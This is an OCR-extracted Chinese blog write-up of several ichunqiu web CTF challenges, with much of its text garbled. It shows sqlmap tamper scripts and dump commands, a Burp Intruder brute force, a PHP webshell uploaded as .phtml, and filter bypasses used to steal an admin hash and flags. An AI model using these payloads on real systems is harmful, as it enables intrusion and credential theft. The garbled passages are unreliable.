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#6: SQL, HBABMEFIRX_RMEN, FFHE!

fR: XR—NMFESQUENRRNEE, #idF TS RIEFX"SELECT","ORDER"#17 T iRAI, BIAIM A
HENTAH, BRAXM'AND"A#ATIRA, EmREERAE"="FENERENMTN. R R T X"<>"#1T T i,
AR DA B3N R F B "SELEC<>T", "ORDE<>R", "AN<>D". %5 sqlmapH] 4.

70 ~ || A mytest.py #7S) ||=| © ©@ ©

fusr/sharefsqlmap/tamper

#!/usr/bin/env python

Copyright (c) 2806-2017 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):

if payload:
payload = payload.replace( SELECT", "SELEC<>T")
payload = payload.replace('ORDER', "ORDE==R")
payload = payload.replace('AND', "AN<=D")
return payload

Bidsqlmapsi FTIRELE . R, FREANERER

: ~i -u "http://aa8fad4ccdcdd4380al19f05c0635745b182a8331al6cad2d9. g .ichunqiu.com/index.
php?id=1" -p d" --level=5 -v 3 --tamper=mytest =D "sqli" -T "info" -C "flAg T5Z n" --dump
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7. 123, 12341234, REMMBEHF T

R T sQREAZR, MARER"ERRW" . BEEFRERABSENIRERR, BRI
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Intruder attack 7

Attack Sawve Columns

RFEGEHE, REF

IO >

[ Results T Target TPnsitions T Payloads T Qptions ]

@ Fayload Positions

are assigned to payload positions - see help for full details.

oy TR

Attack type: | Cluster bamb

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which pavloads

POST flogin. php HTTR/1.1

Host: 66af2d8344b447afE3c88d0dcfeb3i3TecaldTheeddd3de2a. game. ichungiu. com
User-Agent: Mozilla/5.8 (X11; Linux x86_64; rv:52.8) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml, application/xml:q=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://66af2d&344b447af83cB8d0dcfeb337ccald7beedd43de2a. game. ichungiu. com/Login. php
Cookie: PHPSESSID=1h09r3tngfh5o8gmpll9robend

Connection: close

Upgrade-Insecure-Reguests: 1

Content-Type: applications/x-www-form-urlencoded

Content-Length: B5

usernamepassword adningd19005ks ubmi £=%E7%99%BE%ESBD%95

boob

Hifer1 Hirz  #Hrs

iy

Al | adds
Clears
 utes
Refresh

=
X

?_ EJ EJ EJ Type 8 search ferm

3 payload positions

0 matches Clear

Length: 645




Intruder attack 7 o e O

Attack Sawve Columns

[ Results T Target T Positions TPayInads T Options ]

- I
(2) Fayload Sets ™
You can define one or more payload sets. The nurmber of payload sets depends on the attack type defined in the Positions tab. various payload
types are available for each payload set, and each payload type can be customized in different ways.

Payload set: [1 |'_] Payload count: 197 [approx)

el T

Payload type:  Runtime file v Request count: unknown

@ Payload Gptions [Runtime file]

This payload type lets wou configure a file from which to read payload strings atiruntime.
el TS BT

Selectfile ... frootftrmpfuser. bt

@ Paylead Processing

You can define rules to perform wvarious processing tasks on each payload before it is used.

—

Add J Enabled |Ru|e

Edit |

Remowve »

p

il

—

Dawn J

@ Paylead Encoding




Attack Sawe Columns

Intruder attack 7

[ Results TTarget T Positions TPayloads T Qptions ]

@ Payload Sets

Payload set: l 2

sets.

Copy from position: |1

@ Payload Processing

[ Add J Enabled

Edit
Rernowve
Up

[ Down J

=l Deadeod Encodin

'
™
vou can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. various payload
types are available for each payload set, and each payload type can be customized in different ways.
|v] Payload count: unknown ___q %_/\gjr—
A EHiTer
Payload type:  Copy other payload Request count: unknown
@ Payload Optiohs [Copy other paylead]
This payload type copies the value of the current payload at another payload position. It can be used with attack types that have multiple payload
EHE T HEHEE
You can define rules to perform warious processing tasks on each payload before itis used.
| Rule
r




Intruder attack 7 o ® O

Attack Sawe Columns

[ Results TTarget T Positions TF‘aonads T Options ]

@ Payload Sets

vou can define one aor mare payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload
b v ilabla for horzdlead cat = bomzeeload b nhecustoroized in different ways.

Payload set: l3 |'] Payload count: 119

2=

Payload type: | Numbers Request count: unknown

Payload Options [Numbers]

()

This payload type generates numeric payloads within a given range and in a specified format.

Mumber range

Type: Seguential Random

Frarm: 1500 .
Ta: 2018

Step: 1

How rnarny.

Mumber format

Base: @ CDecimal () Hex

Min integer digits:
Max integer digits:

Min fraction digits:

J»

-

Intruder attack 2 e ® O

Attack Sawve Colurmns

J Results T Target T Positions T Payloads T Options 1 ?E@Jﬁfﬁﬁ m&%ﬁﬁﬂ{%ﬁ

| Filter: Showing all itemns ’ ‘ EJ

J
zst | Payloadl | Payloadz f | Payloads | Status | Error | Timeout | Lenath ¥ |
limiuyun lixiuyun 1930 200 O O 1041 i
zhangyuzhen zhangyuzhen 1935 200 O O 1041
700 ) ) TO0E
zhangwei zhangwei 1980 200 O O 1006
wWangwei wangwei 1980 200 O O 1006
wangfang wangfang 1980 200 O O 1006
liwei liwei 1980 200 O O 1008
lina lina 1980 200 O O 1008
zhangrnin zhangrin 1980 200 O O 1006
wangjing wangjing 1980 200 O O 1006
lijing lijing 1980 200 O O 1008
zhangli zhangli 1980 200 O O 1006 :_
= *:ﬁﬁvlll\..’lnﬂ I Em A iR A 198N e lulsl ‘|/'| [ alulal _‘b

Request | Response 1

_[ Raw T Headers T Hex= T HTHL T Render ]

HTTP/1.1 200 OK &
Server: nginx/1.10.2

Date: Fri, 16 Nov 2018 86:03:55 GMT

Content-Type: text/html;charset=utf-8

Content-Length: 687

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.19

Expires: Thu, 19 Nov 1951 05:52:00 GMT |

? - + = Tywpe 28 search ferm 0 rmatches
2 ===
Paused Lo e e A e el




4~ A Hi» - Mozilla Firefox
/ A HI x\http:.'ﬂaa[)d?ﬂcld?cm... x | A

x|+
E::(- | @ | 2aa0d70c1d2c4041b6ddbbe 7972d8bb8f0a62c30e72e44b0.game.ichungiu.com

| & | |Q Search
[ Most Visitedv Jll Offensive Security & Kali Linux “ Kali Docs “& Kali Tools % Exploit-DB Wy Aircrack-ng g Kali Forums S

RzeRaekSEnERh, 2riETAnE,. BEERNDSIA EEE L EA

_|_

= Network
Search HTML
<!DOCTYPE himl=
<html>
p <=head==</head>
w <body=

Cd Console [ Debugger {} Style Edi.. @ Performa.. {3k Memory

formaction="" method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit"
ame="submit" value="_E&F" /></Torm=
- -

<fCenter>
</body=
</html=




4~ A Bl - Mozilla Firefox
f AR x\http:u:zaandmcldzmm... x | A

*® | +
IZ:/(- | @ | 2aa0d70c1d2c4041b6ddbbe 7972d8bb8f0at2c30e 72e44b0.game.ichungiu.com

| & | |Q Search
fi5 Most Visitedw il Offensive Security S Kali Linux e Kali Docs % Kali Tools = Exploit-DB Wy Aircrack-ng gKali Forums S NetHunter

Browse... Mo file selected. 1%

!

PR L 1B AT TS A LR RAE

W 1 Inspector Console O Debugger {} Style Edi.. @ Performa.. 4k Memory = Network
+

Search HTML
<!DOCTYPE html=>

; @
<html>

Filter Sty
b <head=</head=> element
w <body=
w=cenfers

K
<! - -GERMARESE-->

<formaction=""method="P0OST" enctype="multipart/form-data"=

<input name="file" type="file">
=]

<input name="submit" value="_E{%" type="submit">
</form=

</body>
</html>

I70) ~ || @ | test.png.phtml w56 (=] © @ ©
< ?

exec($ GET['abc']); \
7=

HEE—I, AEuMEEone. joeFERRBIET E
\ E . FAEHEAEEEE “php” , E#.Apht. phtn. phtmlEF
—AEARS, =il "pho”, FTLARFEIRE




4~ A Huls - Mozilla Firefox [— ) e“

/’n\)\q:n:x x\httpﬂ?aa()d?()cld?cm x | DA x +

(- (i) | b9b3ff2aB83e446e79fa80fb8e336288d2faB5732c6794480. | & ||Q Search | W B ¥ # =

[ Most Visitedw [l Offensive Security S Kali Linux “& Kali Docs & Kali Tools % Exploit-DB Wy Aircrack-ng g Kali Forums »

“"--‘. N

EEEERE— “view” HHE
Mozilla Firefox ()

/ http://bOb3f..om/view.php X | http://22a0d70c1d2c404.. % A x| +

(- @ | bIb3ff2a83e446e 79fa80fb8e 336288d2fa85732c6794480.game.ict | & | [Q Search A A :
[ Most Visitedwv il Offensive Security S Kali Linux “ Kali Docs “ Kali Tools % Exploit-DBE Wy Aircrack-ng gl Kali Forums " NetHunter
] —

BENREZLMET, ToFB? BREEEfilSH
Mozilla Firefox

f http://b9b3f...php?file=123 x\http /12230d70c1d2c404.. % AAFI x| +

(- (® | b9b3ff2a83e446e79fa80fbBe336288d2fa85732c6794480.game.ichungiu. corri.’wew php?file=123 | | & | |Q Search

fid] Most Visitedv Jll Offensive Security S Kali Linux " Kali Docs " Kali Tools % Exploit-DB Wy Aircrjck-ng g Kali Forums S, NetHunte

filter "flag” ——

LIS “flas” BRI i LS A

Mozilla Firefox
/ http://b9b3ff...file=flaflagg x\httpﬂ?aa()d?ﬂcld?cm x | A ARG x | +

(- @ | b9b3ff2a83e446e79fa80fb8e336288d2fa85732c6794480.game.ichungiu. comfﬁew php?file=flaflagg | | & | |Q Search

[ Most Visited~ Jll Offensive Security & Kali Linux " Kali Docs % Kali Tools = Exploit-DB W Aircrack™mg pdKali Forums S NetHunter §

<7php
cho 'flagishere’

'flag{bd4aaeB3a-ef31-4701-b07c-5c93e6d14975} -

7>

ZHMEI A flaflags, LR T —k

8. sqQLi, Ja&HKMAaghiLk &R



i WIFFLRFT TP E, BRIFENRMEEERERE B login.php?id=1", M TEAWK, R#RR“welcome

admin”=k“something error’, HEXE—TRER. . - MEHAKNEER —1302EEM, EhttpkEMERS

$“page: 10gin.php?id=1", X4~I0gin.php?id=1"RAFFESqENIRIR K -

A TextWizard | [+ Tearoff | MSDN Search.. @ Y Online X

(3) statistics | -4 Inspectors | # AutoResponder | [ Composer | ] Log | [J Filters [ = Timeline |

Headers | TextView | WebForms | HexView | Auth | Cookies ||F‘.aw | JSOM | ¥ML |

GET http://335bf095296745a090270bFf5c35f6401ef92085dFaf4020. game. ichungiu. com/b68a89d1c4a097a9d8631b3ac45e8979. ph
Host: 335bf095296745a090270bffsc35Fe401ef92085dFaf4020. game. ichungiu. com

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla,/s.0 (Windows NT &.1; WOwWGe4) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/&3.0.3239.132 Safari
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,=,/*;0=0.8

Referer: http://335bf095296745a090270bFf5c35F6401ef92085dfaf4020. game. ichungiu. com/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: pgv_pvi=9784553472; UM_distinctid=163a995597a7ac-0458e810a77c0a-6b1b1279-1Ta400-163a995597b6fc; browse=CF1

4 (L L3

Find... {press Ctrl+Enter to highlight all) I Viewin Notepad I

Get Syntaxiiew | Transformer | Headers | Textview ImageView HexView Webview | Auth | Caching Cookies ||Raw | JSON |
|

HTTP/1.1 302 Found
Sserver: nginx/1.10.2

Date: wed, 21 Nov 2018 01:22:46 GMT
Content-Type: text/html
Content-Length: 57
Connection: keep-alive
=By untu4.19

| page: 10gin.php?id=1
1 = 9d8631b3ac45e897 9. php
<html>

<head=<titlexLoading...</titlex</head=
<;/html=

Find... {(press Ctrl+Enter to highlight all) I Viewin Notepad I

[ I

BEF TR, EXNSEHAT TAE: 1D WRSHEEHFEI L, NSERRSHGEH: 2) nRSHRZ
D EH K, BEHREFM, WABEHFHTEN, WREBEFERRBERNSRE, W05 ICHE N5 H IR
IS4, 8T — AT AR A I0gin.php?id=1 and 2=3%23", #1)5HE#A B3] S X5 ST, 24 HMN5]
SHFEP“I0gin.php?id=1"and 2=3%23", el BEHLE R, RHSHEEHRMZ/RAEEEY, RE U ITE#R; 4
F 85| 55 BI“10gin.php?id=1'and 2=3%23", #EEEMLE R, H"I0gin.php?id=1"'and 2=2%23", Refih &4

R, RUHsqliE MBS S SH# T HABALRAT 5. HINIRERI T XHES#T T 4H,

it 2)3&

SR ELEHERE 2R T . # T RkFAsqgmapfili®, EtamperBFT, LA THALEESH
Jil Z= commalesslimit.pyFlcommalessmid.py, 451 F A ElimitFimid % A FE S, B Fsqlmap BIEERN 2E

R LBIERHEE Hifnull, ifnullABEAERENES, Brol& R Hifnulli—t 2 EEs .



o0

usr/share/sqlmap/tamper

THO) ~ || B | commalessifnull.py ®72(5) || =
#!/usr/bin/env python

Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission

import re

from lib.core.enums import PRIORITY

__priority = PRIORITY.HIGH

def dependencies():
pass

def tamper(payload, **kwargs):
Replaces instances like 'IFNULL({(s, e)' with 'CASE s WHEN NULL THEN e ELSE s END'

Requirement:
* MySQL

Tested against:
* MySQL 5.0 and 5.5

>>> tamper('IFNULL (DATABASE(), 0x28)')

'CASE DATABASE() WHEN NULL THEN ©x2@ ELSE DATABASE()} END'

retVal = payload

match = re.search(r" (?1)IFNULL\(\s*(.+) ,\s*(["\)]*)\}", payload or "")
if match:

retVal = retVal.replace(match.group(@), "CASE %s WHEN NULL THEN %s ELSE %s END" % (match.group(l), match.group(2), match.group(1)))

return retval

Python v BIREEZ:8 v E-:LE S STE TR R 7 N

ERfBifnull¥e s A 5 B8 5 KcaseI F R, R Acommalessifnull.py XX . iE4Tsqlmap, RABRIRILEE.

# sqlmap -u "http://335bTP95296745a090270bTf5c357T6401ef92085dfat40820.game. ichunqiu.com/18
-p "id" --level=5 -v 3 --tamper=commalessmid,commalesslimit,commalessifnull -D "sqgli"
-T "users" --dump

88330

9. VId, BFEHAFNAK
B . FTIPE R, BEEFEENTE,

HTTP/1.1 200 OK

Server: nginx/1.10.2

Date: Mon, 24 Dec 2018 0F7:20:43 GMT
Content-Type: text/html
Content-Length: 70

Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu#4.19
vary: Accept-Encoding

do you know Vulcan Logic Dumper?<brafalse<br><!-- fndex.php.Txt [7=

fEEindex.php. xS0, EHEAURLM K



line # % op fetch ext retumm operands

2 0 > EXT_SINT
1 ECHD " dekyrouHmowul card-Lo gicHhump er $3F% 3Cbr K 3E
3 2 EXT_STNT
3 BEGIN_SILENCE il
4 FETCH R zlobzl $1 T GET”
5 FETCH DTM_R 2 $1, 'flagl’
4] END_SILENCE il
T ASSIGN 0, 2
4 g EXT_STNT
g BEGTH_SILENCE &
10 FETCH R global $5 * GET
11 FETCH DIM_E $a 38, flagd
12 END_SILENCE K
13 ASSIGN 11, 6
5 14 EXT_STNT
15 BEGTH_SILEWCE g
16 FETCH R global $a *_GET
17 FETCH DIM_E $10 [ T
18 END_SILENCE ~8
18 ASSIGH 12, §10
i} 20 EXT_STNT
21 ISEWL 12
22 > JNPL s
T 23 » EXT_STNT
24 I5_FQUAL 13 11, gfupiphioyt’
25 > JNPZ 15, =73
g 26 > ENT_STNT
21 ISEW 14
28 > JNPE T =
9 28 > EXT_STNT
ili} ECHD " thetnext+st eptishx. zip
10 31 > TP —»H
11 32 > EXT_SINT
33 ECHO "fal 2e%3Chr% E
13 34 > x INP -»3T
14 35 > EXT_STNT
bl ECHO *fal =e%3Chrk E
16 3T or » INP —»40
17 38 >  EXT_STNT
39 ECHO "fal se%3Ch K E
18 40 > WP
22 41 EXT_STNT
42 ECHO TH3ITK2 1-—rindex. php. tet+HE3FR IERODN 0AKODH 04"
43 > EETUEN 1

BEGET=Z/"2 80T i, #i&“index php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi” 317 5 I,

do you know Vulcan Logic Dumper?
the next step is 1chungiu.zip

MR IEHR R AT F 21 chunqiu.zipfs 2 P

$db mysgl db();

busername - $db->safe data($_POST[ ‘username’]);

$password = $db->my md5($ POST[ ‘password’]);

$number = is numeric($_POST[ "number’]) ? $ POST[ 'number'] : 1;

$username = trim(str_replace($number, *', $username));

$sql = “"select * from"." ".table name." "."where username= $username

addslashes($value);

i#itlogin.php3t T AE H, StusernameZ#iki T ftaddslashes, A T3 T number3 N %, BLEHER
J€. FEFaddslashes& 5| 53474 X, BIRTmMN"", FrUAise e\ e, ARIBHEH, T CAMER
& EnumberZ WA . B AnumberSH LR ET, BN, #HidIusernameSH EKFERF"1", FLLiE
username % ~Nabc%00xabcd1234%27, number# A0xabcd1234, Husername& i N
abc\Oxabcd1234\', &% username&#Ab# Jyabe\\' , BI wI 4 A sqlmapiE A dllik .

5 BT«

—# lmap -u "http://3083126 B 62ba 6a: a45do.g .ich u.com/1chung ogin.php" --data="number=0xabcd1234&username=abc&p:
b

333333&submit BA%A4" -p




available databa
[#] ctf
[*] information_schema

~# lmap -u ttp://303126 . 62ba 6a a45d ichunqiu.com/1lchunqiu/login.php" --data="number=8xabcdl234&username=abc&password=333
333333&submit BA%A4" - -pre bcd --5 --level=5 -v 3 -D "ctf" --tables

ichungiu.com/1lchungiu/login.php" --d
--level=5 -v 3 -D "ctf" -T "flag

Database:
Table: flag
[1 entryl

B HEEFERMNTFEM ag, FHENEZE TusersBWIFEARMNTENLIE . HIEFEZERNEREEMN
ZfEflagR B, FRAL, E&information schemafk:

:~# sqlmap -u "http://303126c4dd49482b865262bac7baB079c6a2107844ba45d0.game.ichungiu. com/1chungiu/login.php" --data="number=0xabcdl234&username=abc&password=333]
333333&subm B8F%90%E4%BA%A4" -p "username” --prefix="%00xabcd1234%27" --suffix="#" --level=5 -v 3 -D "information_schema" -T "COLUMNS" -C "TABLE_SCHEMA, TABLE NAME,C

7E information_schemafE, ZECOLUMNSE, #H®HE & ctf RIS, HEFsqimapiiit B % T HicsviC
4, HEEIR A flag® KiflagT B :

ormatIon sche S5, EA S
information sck . FILES, TOTAL EXTENTS
information sck . FILES, FREE_EXTENTS
information schema, FILES,UPDATE COUNT
information schema, FILES,DELETED ROWS
information schema,FILES,FULLTEXT KEYS

L

ctf,flag, flag

intormation schema,GLOBAL STATUS,VARIABLE VALUE
information schema,GLOBAL STATUS,VARIABLE NAME
information schema,GLOBAL VARIABLES,VARIABLE NAME

= [ =

HETth & REF AT A S HARXEL? EREAlagT BRIINA:

~# ttp://303126c4dd49482b865262bac7b 79c6a2107844ba45de . ga hungiu. com/1chungiu/login.php" --data="numb: d1234&username=abc&password=333
333333&submit BAS -p "username" --pre Oxabcd1234%27" --suffi --level=5 -v 3 -D “ctf" -T "flag" -C "flag N |

Database: ctf
Table: flag
[1 entry]
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Ji! RENT: FEREN+1GBTENE00! HEhZ FERIEEN+COMigE + 1GETH
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+COMZ 2 +1GBZERESS 8! BEMRS : SiniShi—FZafRS RE200m! FiF
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EHHTTE | order
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CMS : CmsEasy
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icpEEE
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B [ B A WEEE celivellive/header.php I SQLVE N IR IR & J5 6 #AR 4a B W] AIRBUE B SN A . B
sqlmap2 if) $ 4 B A7 44 7K -

root@kali:~# sqlmap -u "http://f4908ba8a9d14c5dbb3ff8c528f8a853e05c78c0f5a64925.changame.ichungiu.com/celive/live/header.phpf]l —data="

xajax=Postdatabxajaxargs[@]=<xjxquery><q>detail=xxxxxx*k/q></xjxquery>" —tamper=chardoubleencode |—current-db




[ ] [INFO] the back-end DBMS is MySQL
web application technology: PHP
back-end DBMS: MysSQL = 5.0
1 [INFO] fetching current database
] [INFO] retrieved: 'Yeser'
current database: 'Yeser'
[ T [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[ ] [INFO] fetched data logged to text files under '/root/.sqlmap/output/f4908ba8a9d14c5dbb3ff8c528f8aB53e85c78c@f5a64925. chang
ame.ichunqiu.com’

BSR4 PR 5 AT IR B B 3R

root@kali:~# sqlmap -u "http://f4908baB8a9d14c5dbb3ff8c528f8a853e05c78c@f5a64925. changame.ichungqiu.com/celive/1live/header.php” —data="
xajax=Postdatabxajaxargs[0]=<xjxquery><q>detail=xxxxxx*</q></xjxquery>" —tamper=chardoubleencode [-D "Yeser" —tables |—batchl]

[ ] [INFO] retrieved: 'yesercms_usergroup’
Database: Yeser
[42 tables]

yesercms_a_attachment
yesercms_a_comment
yesercms_a_rank
yesercms_a_vote
yesercms_activity
yesercms_announcement
yesercms_archive
yesercms_assigns
yesercms_b_arctag
yesercms_b_area
yesercms_b_category
yesercms_b_special
yesercms_b_tag
yesercms_ballot
yesercms_bbs_archive
yesercms_bbs_category
yesercms_bbs_label
yesercms_bbs_reply
yesercms_chat
yesercms_departments
yesercms_detail
yesercms_event
yesercms_friendlink
yesercms_guestbook
yesercms_linkword
yesercms_my_a
yesercms_my_yingpin
yesercms_operators
yesercms_option
yesercms_p_orders
yesercms_p_pay
yesercms_p_shipping
yesercms_pay_exchange
yesercms_sessions
yesercms_settings
yesercms_templatetag
yesercms_type
yesercms_union
yesercms_union_pay
yesercms_union_visit
yesercms_user
yesercms_usergroup

https://blog.csdn.net/cbhjerry

RIAE—H 3 yesercms_user”, BHE MR IRBER 7B L HIE:

rootgkali:~# sqlmap -u "http://f4908ba8a9d14c5dbb3ff8c528f8a853e05¢c78c0f5a64925.changame.ichungiu.com/celive/live/header.php” —data="xajax=Postdata&xajaxa
rgs[0]=<xjxquery><g>detail=xxxxxx*</g></xjxquery>" —tamper=chardoubleencode -D "Yeser" -T "yesercms_user" —columns —batchll

Database: Yeser
Table: yesercms_user
[18 columns]

Column | Type

password varchar(50)
state tinyint(4)
address varchar(255)
answer varchar(255)
avatar varchar(100)
checked tinyint(2)
e_mail varchar(60)
groupid int(2)

intro text

introducer | int(1@) unsigned
nickname varchar(20)
point smallint(5) unsigned
qq int(15)

question varchar(255)

tel varchar(100)
userid int(11)

userip varchar(20)
username varchar(20)

hitps:/iblog.csdn.net/cbhjerry

rootakali:~# sqlmap -u "http://f4908baBa9d14c5dbb3ff8c528f8aB853e05c78c@f5a64925. changame.ichungiu.com/celive/live/header.php” --data="xajax=Postdata&xajaxa
rgs[@]=<xjxquery><q>detail=xxxxxx#</q></xjxquery>" —tamper=chardoubleencode -D "Yeser" -T "yesercms_user" -C "password,username" —dump —batchll




Database: Yeser
Table: yesercms_user

FKBadminZiy, Z=RFELME:

WAL LIERIMDS
ff512d4240cbbdeafada404677ccbeb m

md5

Yeser231
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footer.html [HEE] T

HOMMEC]
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BAR, | B | i | #eh?
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<l-- T -->

<div id="footer” class="mt10">
<div class="box">

<div class="footer"=

<l-- FfElogo --=

<div class="links">

{if stopid==03}

{loop friendlink('image’,0,20) $flink}
{&flink[link]}

{/loop}

{else}

{lang(hotkeys)}: {gethotsearch(10)}
{/if}

</divs

<l-- TIRSH -->

<div class="about">

<img src="{$skin_path}/images/foct_logo.gif" /=
{tag_Pgsbma s THAZRRER

<a href="2"=TOP</a>

</div>




Burp Project Intruder Repeater Window Help

[ Dashboard I Target I Proxy T Intruder l’ Repeater I Sequencer I Decoder l’ Comparer l’ Extender I Project options I User options

Intercept | HTTP history TWehSockets history I Options ]

| Filter: Hiding CSS, image and general binary content

® ‘T||T||T| Type a search

: gzip, deflate
zh-CN, zh; q=0.9

HUYUOBAVFCAVQJTRE kdeQll

Fwww. c V. Fs

0601bd28deTd49818249c£35d95943=

ml¥:

SnEqyiQuDI00000;
lvt_2d0601bd2

ci_sesasion=

BREBKIERBHSH, KSflag.phpH & :

# A‘ Host ‘ Method | URL | Params ‘ Edited Status | Length ‘ MIME type Extension Title | Cor
16944 httpc//dd browser.360.cn GET /static/a/G55. 7606 gif t=1587882617291&. . v 200 212 text gif 'A
16947 http://f4908baBadd14cadbb3ffBcs2... GET findex.php?case=template&act=edit&admi... v 200 412732 HTML php YeserCMS &% a5é ¥é7
16948  http://f4908baBadd14cadbb3ffBcs2... GET ftemplate/admin/skin/images/logo.png 404 579 HTML png 404 Mot Found
16949  httpo/ftip £ 360.cn POST J/pagetip/req=0 v 200 3226 text
16951  https://show-3. mediav_com GET {s?showid=GGdtgu&impct=4&expe=100&t. . v 200 11479 HTML
16953 http://dd browser.360.cn GET /static/a/Gh5. 7506 gif t=1587882619031&. . v 200 212 text gif
16962  https:/feclick.baidu.com GET /a js?tu=ud26929680p="18]k=892T1b0084._. v 200 306 script is
16963  https:/feclick.baidu.com GET {a.jsMu=u3501897&op=1&]k=2337acB244... v 200 306 script is
16964  https:/feclick.baidu.com GET fa.jsMu=u3501897&op=1&jk=643=1d380b... v 200 306 script is
16965  https:/feclick.baidu.com GET fa.jsu=u3501897 &op=1&jk=FTfIbb24f036.. . v 200 306 script is
16966  https:/feclick baidu.com GET fa Js?tu=u3501897 &op=1&jk=6d9ef3d8243__. v 200 308 script is ~
16967  https:/feclick baidu.com GET fa Js?tu=u3501897 &op=1&jk=b097cdd1el . v 200 308 script is
16968  http://f4908baB8a9d14c5dbb3ffBch2... POST findex_php?case=template&act=fetch&ad... v 200 2861 HTML php F
ELS - I
Request | Response
Raw | Params | Headers | Hex
1 POST /index.php?case=templatesact=fetché&éadmin dir=admin&site=def ’
2 Host: f4908baf8a%dl4c5dbb3ff8c528f8a853e05c78c0f5a64925.changame. r
3 Content-Length: 16
4 Accept: lication/json, text/javascript, */*
5 igi ://f4908kbaBa%dl4cSdbb3ff8c528f8a853e05c78c0f5a64%25,. changame . i,
& Reguested-With MLHttpReguest
7 |User-Agent: Mo F5.0 | dows NT €.1; WOW64) AppleWebKit/537.36 (KHTML, like Geckec) Chrome/78.0.3904.108 Safari/537.36
g8 Content-Type: application/x-www-form-urlencoded
9 Refer http://f4908ba8asdl4cSdbb3ff8c528f8a853e05c78c0f5a64925 . changame . i u.com/index.php?case=templatesact=editiadmin =admin&site=default

=
¥

0 matches



H DUIP SUITE LOMIMUNITY Caltion vauLu., Emﬁ I Froject
Burp Project Intruder Repeater Window Help

" Dashboard TTarget I Proxy I Intruder TRepedel TSequencer I Decoder T(}omparer T Extender T Project options T User options ]

1= [ 2= ]

Send Cancel < |v >|r Target: http://f4908ba8add14c5dbb3ffc528f8a853e05cT8c0f5a64925.changame.ichungiu.com / @
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 POST /index.php?case=templateisact=fetchiadmin_ dir=adm site=default L3 1 |HTIP/fl.1 200 OK A
HTTP/1l.1 » 2 Date: Sun, 26 Apr 2020 06:31:04 GMT »
2 Host: 3 Content-Type: text/html; charset=utf-38
f4908baBa%dldcSdbb3ff8c528f8a853e05cT78c0f5a64925. changame.ichungiu.com 4 Connection: close
3 |Content-Length: 1% 5 : Accept-Encoding
4 Accept: application/json, text/javascript, *=/* & Pragma: no-cache
5 Origin: 7 Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
http://f4908baBa%dl4c5dbb3ff8c528f8a853e05¢c78c0f5a64925. changame . ichung pre-check=0
om 8 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 X-Reguested-With: XMLHttpReguest 9 X-Via-JSL: 76l65al,-
0

7 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWE4) AppleWebKit/537.36 (KHTML, 1
like Gecko) Chrome/78.0.3%204.108 Safa

X-Cache: bypass
Content-Length: 267

537.36

g |Content-Type: application/x-www-form-urlencoded
9 Referer: {"content":"<textarea rows=
http://f4308ba8ad%dl4codbb3ff8c528f8a853e05¢c78c0f5a64825. changame. ichungiu.c WU.ohS L A/ flag.php_contenthi” Fixedsys,verdana,C;
om/index.php?case=templatetact=editéadmin_di admin&site=default »><?phpinecho 'flag is
10 Accept-Encoding: gzip, deflate :\n<\/cexcarea>"}

Accept-Language: zh-CN,zh;g=0.%
12 Coockie: UM distinccid=
17158e637b652e-06f42cd4blelle-4e4c0f20-1fa400-1
acWzNpxhQpDid 1HuSnEgyiQuDI0CO00; ci_session
1ff9e606ch5209c5da7e7fde888702b24c5b9625
CFE xUYUQBAVFtAVQJITRFBZSkde WVAFRLLRW
Hm_lwt 2d0601bd28cde7d48818242cf35d8504
1586761197,1587716135,1587871241,15878
Hm_lpvt_2d0601bd28deTd4281824%cf35d25843=1587871757; PHPSESSID=
50b374632c34367560c0827cef066%0c; passinfo=
$¥E5¥85%8D%E8%B4%B%ET¥89%88+%3Ca+href%3D%22htepi3As2Fs2Fwww. cmseasy.cnk2Fse
rvice_l.html%22+target®3D%22_blank*22%3E%¥3Cfont+color¥3D$22greent2233E$283E
B3¥B43*ADXE4%E93B0E6*BEXE8TE6T20%83320%3C32Ffont¥3E$3C32Fa%3E; _ jsluid h=
03ad822e7feTleTalc2dT7862a8ce2fdd; _ guid=
260355546.1652987247644824000.1587879514921.8567; login username=adm:

158e63707217; chkphone=

login_password=a®4f8de844ci®laT’oassdbBaadldlced; style=s ; monito
=9
13 |Connection: close

- -
v v
@ EJ EJ B Type a search term 0 matches ® EJ B B Type a search term 0 matches

Done 602 bytes
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https://blog.csdn.net/cbhjerry/article/details/105791056

	i春秋WEB CTF 2

